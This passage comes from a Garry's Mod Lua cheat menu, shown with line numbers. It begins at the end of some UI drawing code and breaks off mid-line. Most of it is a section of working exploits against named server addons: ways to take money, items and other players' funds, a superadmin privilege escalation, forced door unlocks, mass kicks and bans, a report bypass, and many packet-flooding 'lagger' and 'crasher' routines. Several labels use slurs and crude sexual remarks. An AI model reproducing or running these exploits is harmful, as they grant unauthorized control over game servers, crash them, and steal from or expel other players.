1239surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
1240
1241surface.DrawOutlinedRect( 0, 0, id:GetSize() )
1242
1243surface.DrawOutlinedRect( 0, 25, id:GetSize() )
1244else
1245draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
1246
1247surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
1248
1249surface.DrawOutlinedRect( 0, 0, id:GetSize() )
1250
1251surface.DrawOutlinedRect( 0, 25, id:GetSize() )
1252end
1253
1254end
1255
1256
1257end
1258
1259
1260//////////////////// [EXPLOITS] ////////////////////
1261
1262status = ValidNetString("TCBBuyAmmo")
1263if (status) then
1264ECPrint("Found Exploit: Free Ammo [TCBBuyAmmo]")
1265addExploit( "1","Free Ammo", "Gets All Ammo Types", function()
1266surface.PlaySound("garrysmod/ui_click.wav")
1267ECPrint("Getting Le Ammo")
1268for k,v in pairs(GAMEMODE.AmmoTypes) do
1269net.Start("TCBBuyAmmo")
1270net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
1271net.SendToServer()
1272end
1273end)
1274end
1275
1276status = ValidNetString("DataSend")
1277if (status) then
1278ECPrint("Found Exploit: Steal All Monies #1 [DataSend]")
1279addExploit( "2","Steal All Monies #1", "Takes money from printers", function()
1280surface.PlaySound("garrysmod/ui_click.wav")
1281for k, v in pairs( ents.GetAll() ) do
1282if v:GetClass() == "adv_moneyprinter" then
1283ECPrint("Collecting Money")
1284net.Start("DataSend")
1285net.WriteFloat(2)
1286net.WriteEntity(v)
1287net.WriteEntity(LocalPlayer())
1288net.SendToServer()
1289end
1290end
1291end)
1292end
1293
1294
1295status = ValidNetString("FarmingmodSellItems")
1296if (status) then
1297ECPrint("Found Exploit: Free Money [FarmingmodSellItems]")
1298addExploit( "3","Free Money", "An exploit in the Farming Mod", function()
1299surface.PlaySound("garrysmod/ui_click.wav")
1300ECPrint("Enjoy the b1g monies")
1301net.Start("FarmingmodSellItems")
1302net.WriteTable(
1303{
1304Cost = 10,
1305CropModel = "models/props/eryk/garlic.mdl",
1306CropType = 2,
1307Info = "Garlic Seed",
1308Model = "models/props/eryk/seedbag.mdl",
1309Name = "Garlic",
1310Quality = 4,
1311Sell = 99999,
1312Type = "Seed"
1313}
1314)
1315net.WriteInt(1,16)
1316net.SendToServer()
1317end)
1318end
1319
1320status = ValidNetString("start_wd_emp")
1321if (status) then
1322ECPrint("Found Exploit: Hack Keypad [start_wd_emp]")
1323addExploit( "4","Hack Keypad", "Instantly opens nearby keypads. Has a cooldown", function()
1324surface.PlaySound("garrysmod/ui_click.wav")
1325ECNotify("Hacking Keypads")
1326net.Start("start_wd_emp")
1327net.SendToServer()
1328end)
1329end
1330
1331status = ValidNetString("duelrequestguiYes")
1332if (status) then
1333ECPrint("Found Exploit: Get Money [duelrequestguiYes]")
1334addExploit( "5","Get Money", "Duel Exploit", function()
1335surface.PlaySound("garrysmod/ui_click.wav")
1336ECNotify("getting ez monies")
1337net.Start("duelrequestguiYes")
1338net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
1339net.WriteEntity(table.Random( player.GetAll() ) )
1340net.WriteString("Crossbow")
1341net.SendToServer()
1342end)
1343end
1344
1345status = ValidNetString("DarkRP_Kun_ForceSpawn")
1346if (status) then
1347ECPrint("Found Exploit: Respawn #1 [DarkRP_Kun_ForceSpawn]")
1348addExploit( "6", "Respawn #1", "Just respawn", function()
1349surface.PlaySound("garrysmod/ui_click.wav")
1350ECPrint("Respawn")
1351net.Start("DarkRP_Kun_ForceSpawn")
1352net.SendToServer()
1353end)
1354end
1355
1356status = ValidNetString("SyncPrinterButtons76561198056171650")
1357if (status) then
1358ECPrint("Found Exploit: Steal All Monies #2 [SyncPrinterButtons76561198056171650]")
1359addExploit( "7","Steal All Monies #2", "Takes money from printers", function()
1360surface.PlaySound("garrysmod/ui_click.wav")
1361ECPrint("Collecting Money")
1362for k, v in pairs(ents.GetAll()) do
1363if (v:GetClass() == "adv_moneyprinter") then
1364net.Start("SyncPrinterButtons76561198056171650")
1365net.WriteEntity(v)
1366net.WriteUInt(2, 4)
1367net.SendToServer()
1368end
1369end
1370end)
1371end
1372---------------------------------------------------------------------------------------------
1373local function report()
1374 for i = 1, 2000 do
1375 net.Start("DL_Answering")
1376 net.SendToServer()
1377 end
1378end
1379
1380if (Damagelog) then
1381ECPrint("Found Exploit: Kick All Players")
1382reportSpam = 0
1383addExploit( "1337","Kick All Players", "Kicks all players", function()
1384 surface.PlaySound("garrysmod/ui_click.wav")
1385 if (reportSpam == 0) then
1386 ECNotify("Starting Kicker")
1387 reportSpam = 1
1388 timer.Create("reportSpammer", 0.05, 0, report)
1389 else
1390 ECNotify("Stopping Kicker")
1391 reportSpam = 0
1392 timer.Remove("reportSpammer")
1393 end
1394
1395end)
1396end
1397----------------------------------------------------------------------------------------------
1398
1399status = ValidNetString("SimplicityAC_aysent")
1400if (status) then
1401ECPrint("Found Exploit: Crash #1 [SimplicityAC_aysent]")
1402addExploit( "8","Crash #1", "Will instantly crash the server", function()
1403surface.PlaySound("garrysmod/ui_click.wav")
1404ECPrint("Goodbye Server")
1405local tbl = {}
1406for i=1,400 do
1407tbl[i] = i
1408end
1409net.Start("SimplicityAC_aysent")
1410net.WriteUInt(1, 8)
1411net.WriteUInt(4294967295, 32)
1412net.WriteTable(tbl)
1413net.SendToServer()
1414end)
1415end
1416
1417status = ValidNetString("RevivePlayer")
1418if (status) then
1419ECPrint("Found Exploit: Reanimation #1 [RevivePlayer]")
1420addExploit( "9", "Reanimation #1", "Instant revival", function()
1421surface.PlaySound("garrysmod/ui_click.wav")
1422if !timer.Exists( "reanimation1" ) then
1423ECNotify( "Enabled" )
1424timer.Create( "reanimation1", 0.5, 0, function()
1425if !LocalPlayer():Alive() then
1426net.Start("RevivePlayer")
1427net.WriteEntity(LocalPlayer())
1428net.SendToServer()
1429end
1430end)
1431else
1432timer.Remove( "reanimation1" )
1433ECNotify( "Disabled" )
1434end
1435end )
1436end
1437
1438status = ValidNetString("NLRKick")
1439if (status) then
1440ECPrint("Found Exploit: Kick Everyone [NLRKick]")
1441addExploit( "10","Kick Everyone", "kick all the beaners", function()
1442surface.PlaySound("garrysmod/ui_click.wav")
1443ECNotify("Kicking All")
1444for k,v in pairs(player.GetAll()) do
1445if v != LocalPlayer() then
1446net.Start("NLRKick")
1447net.WriteEntity(v)
1448net.SendToServer()
1449end
1450end
1451end)
1452end
1453
1454status = ValidNetString("timebombDefuse")
1455if (status) then
1456ECPrint("Found Exploit: Delete All Props [timebombDefuse]")
1457addExploit( "11","Delete All Props", "props = dead", function()
1458surface.PlaySound("garrysmod/ui_click.wav")
1459ECNotify("Props De_Stroyed")
1460for k,v in pairs(ents.GetAll()) do
1461net.Start("timebombDefuse")
1462net.WriteEntity(v)
1463net.WriteBool(true)
1464net.SendToServer()
1465end
1466end)
1467end
1468
1469status = ValidNetString("NDES_SelectedEmblem")
1470if (status) then
1471ECPrint("Found Exploit: Lagger #2 [NDES_SelectedEmblem]")
1472addExploit( "12","Lagger #2", "oof yuh get l4gged", function()
1473surface.PlaySound("garrysmod/ui_click.wav")
1474if !timer.Exists( "lagger2" ) then
1475timer.Create("lagger2", 0.5, 0, function()
1476for i=1, 2000 do
1477net.Start("NDES_SelectedEmblem",true)
1478net.WriteString("seized")
1479net.SendToServer()
1480end
1481end)
1482ECNotify("Starting Lagger")
1483else
1484timer.Remove("lagger2")
1485ECNotify("Stopping Lagger")
1486end
1487end)
1488end
1489
1490status = ValidNetString("Morpheus.StaffTracker")
1491if (status) then
1492ECPrint("Found Exploit: Crasher #1 [Morpheus.StaffTracker]")
1493addExploit( "13","Crasher #1", "not even hard. unlike nippy's dick when he sees voltz", function()
1494surface.PlaySound("garrysmod/ui_click.wav")
1495if !timer.Exists( "crasher1" ) then
1496timer.Create("crasher1", 0.5, 0, function()
1497for i=1, 2000 do
1498net.Start("Morpheus.StaffTracker")
1499net.SendToServer()
1500end
1501end)
1502ECNotify("Crashing Server")
1503else
1504timer.Remove("crasher1")
1505ECNotify( "Canceling Crasher" )
1506end
1507end)
1508end
1509
1510status = ValidNetString("egg")
1511if (status) then
1512ECPrint("Found Exploit: Get Easter Egg")
1513addExploit( "14","Get Easter Egg", "ez eggs", function()
1514surface.PlaySound("garrysmod/ui_click.wav")
1515RunConsoleCommand("say", "4bigz")
1516RunConsoleCommand("cc_egg2")
1517net.Start("egg")
1518net.SendToServer()
1519ECNotify("Gave Easter Egg")
1520end)
1521end
1522
1523status = ValidNetString("pplay_deleterow")
1524if (status) then
1525ECPrint("Found Exploit: GET SUPERADMIN [pplay_deleterow]")
1526addExploit( "15","GET SUPERADMIN", "Rejoin game after clicking", function()
1527surface.PlaySound("garrysmod/ui_click.wav")
1528local id = LocalPlayer():SteamID()
1529local tbl = {}
1530tbl.name = "FAdmin_PlayerGroup"
1531tbl.where = {
1532"steamid",
1533tostring(id)
1534}
1535
1536net.Start("pplay_deleterow")
1537net.WriteTable(tbl)
1538net.SendToServer()
1539local tbl = {}
1540tbl.tblname = "FAdmin_PlayerGroup"
1541tbl.tblinfo = {
1542tostring(id),
1543"superadmin"
1544}
1545net.Start("pplay_addrow")
1546net.WriteTable(tbl)
1547net.SendToServer()
1548ECNotify("promotion ;)")
1549end)
1550end
1551
1552-- ttt report bypass by daddy grampa
1553
1554local function CheckChild(pan)
1555local title = "You have been reported! Please answer all your reports."
1556 if !pan || !IsValid(pan) then return end
1557 if pan.GetTitle && pan:GetTitle() == title then
1558 pan:Remove();
1559 print("Removed warning box")
1560 return
1561 end
1562 for k,v in pairs(pan:GetChildren()) do
1563 if v.GetTitle && v:GetTitle() == title then
1564 v:Remove();
1565 print("Removed warning box")
1566 return
1567 end
1568 if #v:GetChildren() > 0 then
1569 CheckChild(v)
1570 end
1571 end
1572end
1573
1574if (engine.ActiveGamemode() == "terrortown") then
1575bypass = 0
1576ECPrint("Found Exploit: TTT Report Bypass")
1577addExploit( "16","Toggle TTT Report Bypass", "b1g bypass amirite", function()
1578surface.PlaySound("garrysmod/ui_click.wav")
1579if (bypass == 0) then
1580hook.Add("Think", "remove_ttt_report", function()
1581local pan = vgui.GetHoveredPanel()
1582CheckChild(pan)
1583end)
1584ECNotify("Enabled Report Bypass")
1585bypass = 1
1586else
1587hook.Remove("Think", "remove_ttt_report")
1588ECNotify("Disabled Report Bypass")
1589bypass = 0
1590end
1591end)
1592end
1593
1594status = ValidNetString("EZS_PlayerTag")
1595if (status) then
1596ECPrint("Found Exploit: Lagger #3 [EZS_PlayerTag]")
1597addExploit( "17","Lagger #3", "b1g lags my duder", function()
1598surface.PlaySound("garrysmod/ui_click.wav")
1599if !timer.Exists( "lagger3" ) then
1600timer.Create("lagger3", 0.5, 0, function()
1601for k, v in pairs(player.GetAll()) do
1602net.Start("EZS_PlayerTag",true)
1603net.WriteEntity(v)
1604net.WriteString("Seized")
1605net.SendToServer()
1606timer.Simple(2, function()
1607net.Start("EZS_PlayerTag",true)
1608net.WriteEntity(v)
1609net.WriteString("Seized")
1610net.SendToServer()
1611end)
1612end
1613end)
1614ECNotify("Starting Lagger")
1615else
1616timer.Remove("lagger3")
1617ECNotify("Stopping Lagger")
1618end
1619end)
1620end
1621
1622if ConVarExists("advttt_spreadovertime_enabled") then
1623ECPrint("Found Exploit: Remove Spread")
1624addExploit( "18","Remove Spread", "pSilent No Spread", function()
1625surface.PlaySound("garrysmod/ui_click.wav")
1626hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
1627ECNotify("Spread Removed")
1628end)
1629end
1630
1631status = ValidNetString("fp_as_doorHandler")
1632if (status) then
1633ECPrint("Found Exploits: Open Door, Close Door, Remove Door Owners [fp_as_doorHandler]")
1634addExploit( "19","Open Door", "Force open the door you are looking at", function()
1635surface.PlaySound("garrysmod/ui_click.wav")
1636net.Start("fp_as_doorHandler")
1637net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
1638net.WriteString("unlock")
1639net.SendToServer()
1640ECNotify("Opened Door")
1641end)
1642end
1643
1644status = ValidNetString("fp_as_doorHandler")
1645if (status) then
1646addExploit( "20","Close Door", "Force close the door you are looking at", function()
1647surface.PlaySound("garrysmod/ui_click.wav")
1648net.Start("fp_as_doorHandler")
1649net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
1650net.WriteString("lock")
1651net.SendToServer()
1652ECNotify("Opened Door")
1653end)
1654end
1655
1656status = ValidNetString("fp_as_doorHandler")
1657if (status) then
1658addExploit( "21","Remove Door Owner", "Force remove door owner of the door you are looking at", function()
1659surface.PlaySound("garrysmod/ui_click.wav")
1660local door = LocalPlayer():GetEyeTrace().Entity
1661local doorOwner = door:getDoorData()["owner"]
1662net.Start("fp_as_doorHandler")
1663net.WriteEntity(door)
1664net.WriteString("removeOwner")
1665net.WriteDouble(doorOwner)
1666net.SendToServer()
1667ECNotify("Opened Door")
1668end)
1669end
1670
1671status = ValidNetString("VJSay")
1672if (status) then
1673ECPrint("Found Exploit: VJSay [OLD] [VJSay]")
1674addExploit( "22","VJSay [OLD]", "", function()
1675surface.PlaySound("garrysmod/ui_click.wav")
1676inputFrame2Exists = true
1677inputFrame2 = vgui.Create( "DFrame" )
1678inputFrame2:SetTitle("Enter your message!")
1679inputFrame2:SetSize( 400, 75 )
1680inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
1681inputFrame2:SetDraggable(false)
1682inputFrame2:ShowCloseButton(false)
1683inputFrame2:MakePopup()
1684inputFrame2.Paint = function( self, w, h )
1685draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
1686end
1687
1688local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
1689TextEntry2:SetSize( 380, 30 )
1690TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
1691TextEntry2:SetText( "Broadcast Msg" )
1692TextEntry2.OnEnter = function( self )
1693surface.PlaySound("garrysmod/ui_click.wav")
1694ECNotify("Broadcasting")
1695net.Start("VJSay")
1696net.WriteEntity(nil)
1697net.WriteString(TextEntry2:GetValue())
1698net.WriteString("")
1699net.SendToServer()
1700inputFrame2:SetVisible(false)
1701end
1702end)
1703end
1704
1705status = ValidNetString("ply_pick_shit")
1706if (status) then
1707ECPrint("Found Exploit: free money amirite [ply_pick_shit]")
1708addExploit( "23","free money amirite", "stacks in ur wallet generator", function()
1709surface.PlaySound("garrysmod/ui_click.wav")
1710for k, v in pairs (player.GetAll()) do
1711for i = 1,255 do
1712net.Start("ply_pick_shit")
1713net.WriteEntity(LocalPlayer())
1714net.WriteEntity(v)
1715net.SendToServer()
1716end
1717end
1718ECNotify("enjoy monies")
1719end)
1720end
1721
1722status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
1723if (status) then
1724ECPrint("Found Exploit: Crasher #2 [pac.net.TouchFlexes.ClientNotify]")
1725addExploit( "24","Crasher #2", "big lagz", function()
1726surface.PlaySound("garrysmod/ui_click.wav")
1727if !timer.Exists( "crasher2" ) then
1728timer.Create("crasher2", 0, 0, function()
1729for i = 1, 400 do
1730net.Start("pac.net.TouchFlexes.ClientNotify")
1731net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
1732net.SendToServer()
1733end
1734end)
1735ECNotify("Starting Crasher")
1736else
1737timer.Remove("crasher2")
1738ECNotify("Stopping Crasher")
1739end
1740end)
1741end
1742
1743status = ValidNetString("BM2.Command.SellBitcoins")
1744if (status) then
1745ECPrint("Found Exploit: Sell Your Bitcoins [BM2.Command.SellBitcoins]")
1746addExploit( "25","Sell your Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
1747surface.PlaySound("garrysmod/ui_click.wav")
1748for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
1749net.Start("BM2.Command.SellBitcoins")
1750net.WriteEntity(v)
1751net.SendToServer()
1752end
1753for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
1754net.Start("BM2.Command.SellBitcoins")
1755net.WriteEntity(v)
1756net.SendToServer()
1757end
1758for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
1759net.Start("BM2.Command.SellBitcoins")
1760net.WriteEntity(v)
1761net.SendToServer()
1762end
1763end)
1764end
1765
1766status = ValidNetString("BM2.Command.Eject")
1767if (status) then
1768ECPrint("Found Exploit: Lagger #4 [BM2.Command.Eject]")
1769addExploit( "26","Lagger #4", "discovered by triggered", function()
1770surface.PlaySound("garrysmod/ui_click.wav")
1771if !timer.Exists( "lagger4" ) then
1772timer.Create("lagger4", 0, 0, function()
1773for i = 1, 1000 do
1774net.Start("BM2.Command.Eject",true)
1775net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
1776net.SendToServer()
1777end
1778end)
1779ECNotify("Starting Lagger")
1780else
1781timer.Remove("lagger4")
1782ECNotify("Stopping Lagger")
1783end
1784end)
1785end
1786
1787status = ValidNetString("BM2.Command.SellBitcoins")
1788if (status) then
1789ECPrint("Found Exploit: Lagger #5 [BM2.Command.SellBitcoins]")
1790addExploit( "27","Lagger #5", "discovered by Leith, an exploit in the addon 'Bitminers 2'", function()
1791surface.PlaySound("garrysmod/ui_click.wav")
1792timer.Create("lagger5", 0, 0, function()
1793for i=1,1000 do
1794net.Start("BM2.Command.SellBitcoins",true)
1795net.WriteEntity(LocalPlayer())
1796net.SendToServer()
1797end
1798end )
1799end )
1800end
1801
1802status = ValidNetString("ItemStoreUse")
1803if (status) then
1804ECPrint("Found Exploit: Lagger #6 [ItemStoreUse]")
1805addExploit( "28","Lagger #6", "discovered by triggered, an exploit in the addon 'ItemStore'", function()
1806surface.PlaySound("garrysmod/ui_click.wav")
1807if !timer.Exists( "lagger6" ) then
1808timer.Create("lagger6", 0, 0, function()
1809for i = 1, 1000 do
1810net.Start("ItemStoreUse",true)
1811net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1812net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1813net.SendToServer()
1814end
1815end)
1816ECNotify("Starting Lagger")
1817else
1818timer.Remove("lagger6")
1819ECNotify("Stopping Lagger")
1820end
1821end)
1822end
1823
1824status = ValidNetString("ItemStoreDrop")
1825if (status) then
1826ECPrint("Found Exploit: Lagger #7 [ItemStoreDrop]")
1827addExploit( "29","Lagger #7", "discovered by Leith, an exploit in the addon 'ItemStore'", function()
1828surface.PlaySound("garrysmod/ui_click.wav")
1829if !timer.Exists( "lagger7" ) then
1830timer.Create("lagger7", 0, 0, function()
1831for i = 1, 1000 do
1832net.Start("ItemStoreDrop",true)
1833net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1834net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
1835net.SendToServer()
1836end
1837end)
1838ECNotify("Starting Lagger")
1839else
1840timer.Remove("lagger7")
1841ECNotify("Stopping Lagger")
1842end
1843end)
1844end
1845
1846status = ValidNetString("gMining.sellMineral")
1847if (status) then
1848ECPrint("Found Exploit: Lagger #8 [gMining.sellMineral]")
1849addExploit( "30","Lagger #8", "discovered by Leith, an exploit in the addon 'gMining'", function()
1850surface.PlaySound("garrysmod/ui_click.wav")
1851ECNotify("Starting")
1852if !timer.Exists( "lagger8" ) then
1853timer.Create("lagger8", 0, 0, function()
1854for i = 1, 1000 do
1855net.Start("gMining.sellMineral",true)
1856net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
1857net.WriteString(" ")
1858net.SendToServer()
1859end
1860end )
1861end
1862end )
1863end
1864
1865status = ValidNetString("PlayerUseItem")
1866if (status) then
1867ECPrint("Found Exploit: Lagger #9 [PlayerUseItem]")
1868addExploit( "31","Lagger #9", "discovered by triggered", function()
1869surface.PlaySound("garrysmod/ui_click.wav")
1870if !timer.Exists( "lagger9" ) then
1871timer.Create("lagger9", 0,0, function()
1872for i = 1, 800 do
1873net.Start("PlayerUseItem",true)
1874net.WriteInt(99999999999999999999999999999999999999999999999, 32)
1875net.SendToServer()
1876end
1877end)
1878ECNotify("Starting Lagger")
1879else
1880timer.Remove("lagger9")
1881ECNotify("Stopping Lagger")
1882end
1883end)
1884end
1885
1886status = ValidNetString("RequestMAPSize")
1887if (status) then
1888ECPrint("Found Exploit: Lagger #10 [RequestMAPSize]")
1889addExploit( "32","Lagger #10", "1tap server", function()
1890surface.PlaySound("garrysmod/ui_click.wav")
1891if !timer.Exists( "lagger10" ) then
1892timer.Create("lagger10", 0, 0, function()
1893for i = 1, 400 do
1894net.Start("RequestMAPSize",true)
1895net.SendToServer()
1896end
1897end)
1898ECNotify("Starting Lagger")
1899else
1900timer.Remove("lagger10")
1901ECNotify("Stopping Lagger")
1902end
1903end )
1904end
1905
1906status = ValidNetString("MG2.Request.GangRankings")
1907if (status) then
1908ECPrint("Found Exploit: Lagger #11 [MG2.Request.GangRankings]")
1909addExploit( "33","Lagger #11", "discovered by Leith, an exploit in the addon 'MGangs 2'", function()
1910surface.PlaySound("garrysmod/ui_click.wav")
1911if !timer.Exists( "lagger11" ) then
1912timer.Create("lagger11", 0, 0, function()
1913for i = 1, 1000 do
1914net.Start("MG2.Request.GangRankings",true)
1915net.SendToServer()
1916end
1917end)
1918ECNotify("Starting Lagger")
1919else
1920timer.Remove("lagger11")
1921ECNotify("Stopping Lagger")
1922end
1923end )
1924end
1925
1926status = ValidNetString("dLogsGetCommand")
1927if (status) then
1928ECPrint("Found Exploit: Lagger #12 [dLogsGetCommand]")
1929addExploit( "34","Lagger #12", "b1g lags", function()
1930surface.PlaySound("garrysmod/ui_click.wav")
1931ECNotify("Starting Lagger")
1932for i=1,7000 do
1933net.Start("dLogsGetCommand",true)
1934net.WriteTable({ cmd = "+forward" , args = " " })
1935net.SendToServer()
1936end
1937end )
1938end
1939
1940status = ValidNetString("ats_send_toServer")
1941if (status) then
1942ECPrint("Found Exploit: Lagger #13 [ats_send_toServer]")
1943addExploit( "35","Lagger #13", "big lags", function()
1944surface.PlaySound("garrysmod/ui_click.wav")
1945ECNotify("Starting Lagger")
1946for i=1,2000 do
1947net.Start("ats_send_toServer",true)
1948net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
1949net.SendToServer()
1950end
1951end )
1952end
1953
1954status = ValidNetString("shopguild_buyitem")
1955if (status) then
1956ECPrint("Found Exploit: Guild Exploit [shopguild_buyitem]")
1957addExploit( "36","Guild Exploit", "increases the level of your guild", function()
1958surface.PlaySound("garrysmod/ui_click.wav")
1959ECPrint("Guild level successfully upgraded")
1960local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
1961if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then level = tonumber(LocalPlayer():GetNWInt("lvlguild")) end
1962net.Start("shopguild_buyitem")
1963net.WriteString("lvl")
1964net.WriteDouble(level)
1965net.WriteString("Guild Level "..level)
1966net.WriteEntity(LocalPlayer())
1967net.WriteUInt(2,4)
1968net.WriteDouble(0)
1969net.SendToServer()
1970level = level + 1
1971end )
1972end
1973
1974status = ValidNetString("VoteKickNO")
1975if (status) then
1976ECPrint("Found Exploit: Votekick [VoteKickNO]")
1977addExploit( "37","Votekick", "kicking all", function()
1978surface.PlaySound("garrysmod/ui_click.wav")
1979for k,v in pairs(player.GetAll()) do
1980net.Start("VoteKickNO")
1981net.WriteFloat(v:EntIndex())
1982net.WriteFloat(6)
1983net.SendToServer()
1984net.Start("VoteKickNO")
1985net.WriteFloat(v:EntIndex())
1986net.WriteFloat(6)
1987net.SendToServer()
1988net.Start("VoteKickNO")
1989net.WriteFloat(v:EntIndex())
1990net.WriteFloat(6)
1991net.SendToServer()
1992net.Start("VoteKickNO")
1993net.WriteFloat(v:EntIndex())
1994net.WriteFloat(6)
1995net.SendToServer()
1996end
1997end )
1998end
1999
2000status = ValidNetString("VoteBanNO")
2001if (status) then
2002ECPrint("Found Exploit: Voteban [VoteBanNO]")
2003addExploit( "38","Voteban", "bans all", function()
2004surface.PlaySound("garrysmod/ui_click.wav")
2005for k,v in pairs(player.GetAll()) do
2006net.Start("VoteBanNO")
2007net.WriteFloat(v:EntIndex())
2008net.WriteFloat(8)
2009net.SendToServer()
2010net.Start("VoteBanNO")
2011net.WriteFloat(v:EntIndex())
2012net.WriteFloat(8)
2013net.SendToServer()
2014net.Start("VoteBanNO")
2015net.WriteFloat(v:EntIndex())
2016net.WriteFloat(8)
2017net.SendToServer()
2018end
2019end )
2020end
2021
2022status = ValidNetString("NewReport")
2023if (status) then
2024ECPrint("Found Exploit: Custom Report [NewReport]")
2025addExploit( "39","Custom Report", "Report all faggots", function()
2026surface.PlaySound("garrysmod/ui_click.wav")
2027for k,v in pairs(player.GetAll()) do
2028net.Start("NewReport")
2029net.WriteType(ply)
2030net.WriteInt(8,5)
2031net.WriteString("hahaha")
2032net.SendToServer()
2033end
2034end )
2035end
2036
2037status = ValidNetString("Warn_CreateWarn")
2038if (status) then
2039ECPrint("Found Exploit: Custom Warn [Warn_CreateWarn]")
2040addExploit( "40","Custom Warn", "Warn all faggots", function()
2041surface.PlaySound("garrysmod/ui_click.wav")
2042for k,v in pairs(player.GetAll()) do
2043net.Start("Warn_CreateWarn")
2044net.WriteEntity(ply)
2045net.WriteString("hahaha")
2046net.SendToServer()
2047end
2048end )
2049end
2050
2051status = ValidNetString("showDisguiseHUD")
2052if (status) then
2053ECPrint("Found Exploit: Disguise #2 [showDisguiseHUD]")
2054addExploit( "41","Disguise #2", "allows you to disguise as any job", function()
2055surface.PlaySound("garrysmod/ui_click.wav")
2056ECPrint("Choose a disguise")
2057PlayerCount = 0
2058for k, v in pairs(player.GetAll()) do
2059PlayerCount = PlayerCount + 1
2060end
2061local TeamNum
2062local disguise_Model_Preview_Default
2063local base = vgui.Create("DFrame")
2064base:SetSize(300,420)
2065base:Center()
2066base:SetTitle(" ")
2067base:ShowCloseButton(false)
2068base:MakePopup()
2069function base:Paint()
2070draw.RoundedBoxEx( 5, 0, 0, base:GetWide(), base:GetTall(), Color(20,20,20,200),false,true)
2071draw.RoundedBox( 0, 0, 30, base:GetWide(), base:GetTall()-60, Color(10,10,10,200))
2072draw.RoundedBox( 0, 0, 30, base:GetWide(), 5, Color(255,255,255,255))
2073draw.RoundedBox( 0, 0, 390, base:GetWide(), 5, Color(255,255,255,255))
2074draw.SimpleText("Disguise", "DisFontBold", base:GetWide()/4, -1)
2075end
2076local ExitButton = vgui.Create("DButton", base)
2077ExitButton:SetPos(base:GetWide()+4-ExitButton:GetWide())
2078ExitButton:SetText("Close")
2079ExitButton:SetSize(60,20)
2080ExitButton:SetFont("DermaDefaultBold")
2081ExitButton.Paint = function()
2082if ExitButton.Hovered then
2083if ExitButton:IsDown() then
2084ExitButton:SetTextColor(Color(200,200,200,200))
2085draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,200),false,true)
2086else
2087ExitButton:SetTextColor(Color(255,255,255,255))
2088draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,255),false,true)
2089end
2090else
2091ExitButton:SetTextColor(Color(20,20,20,200))
2092draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(200,0,0,200),false,true)
2093end
2094end
2095function ExitButton.DoClick()
2096base:Remove()
2097net.Start("changeToPhysgun")
2098net.SendToServer()
2099end
2100local DTeamChoice = vgui.Create("DComboBox", base)
2101DTeamChoice:SetSize(150, 22)
2102DTeamChoice:SetPos(75, 50)
2103DTeamChoice:SetValue("Select Job")
2104for k, v in pairs(team.GetAllTeams()) do
2105if !(HIDDEN_TEAMS[ k ] ) and (team.NumPlayers(k) ~= 0) then DTeamChoice:AddChoice(team.GetName(k)) end
2106end
2107DTeamChoice.OnSelect = function(panel, index, value)
2108for k,_ in pairs(team.GetAllTeams()) do
2109if value == team.GetName(k) then
2110for _, v in pairs(player.GetAll())do
2111if v:Team() == k then
2112TeamNum = v:Team()
2113disguise_Model_Preview_Default = v:GetModel()
2114end
2115end
2116end
2117end
2118timer.Create("RefreshModel", 0.1, 0, function()
2119local icon = vgui.Create( "DModelPanel", base )
2120icon:SetSize(300, 260)
2121icon:SetPos(-5, 80)
2122icon:SetFOV(68)
2123icon:SetModel( disguise_Model_Preview_Default )
2124timer.Simple(0.1, function()
2125icon:Remove()
2126end)
2127end)
2128local DisguiseButton = vgui.Create("DButton", base)
2129DisguiseButton:SetPos(base:GetWide()/2.5, 360)
2130DisguiseButton:SetSize(60,20)
2131DisguiseButton:SetText("Accept")
2132DisguiseButton:SetFont("DermaDefaultBold")
2133function DisguiseButton:Paint()
2134if DisguiseButton.Hovered then
2135if DisguiseButton:IsDown() then
2136DisguiseButton:SetTextColor(Color(200,200,200,200))
2137draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,200))
2138else
2139DisguiseButton:SetTextColor(Color(255,255,255,255))
2140draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,220,0,255))
2141end
2142else
2143DisguiseButton:SetTextColor(Color(20,20,20,200))
2144draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,255))
2145end
2146end
2147function DisguiseButton:DoClick()
2148net.Start("SetPlayerModel")
2149if ChosenName == nil then
2150net.WriteString(LocalPlayer():Nick())
2151else
2152net.WriteString(ChosenName)
2153end
2154net.WriteUInt(TeamNum, 16)
2155net.SendToServer()
2156base:Close()
2157net.Start("changeToPhysgun")
2158net.SendToServer()
2159end
2160end
2161end
2162)
2163end
2164
2165status = ValidNetString("Chatbox_PlayerChat")
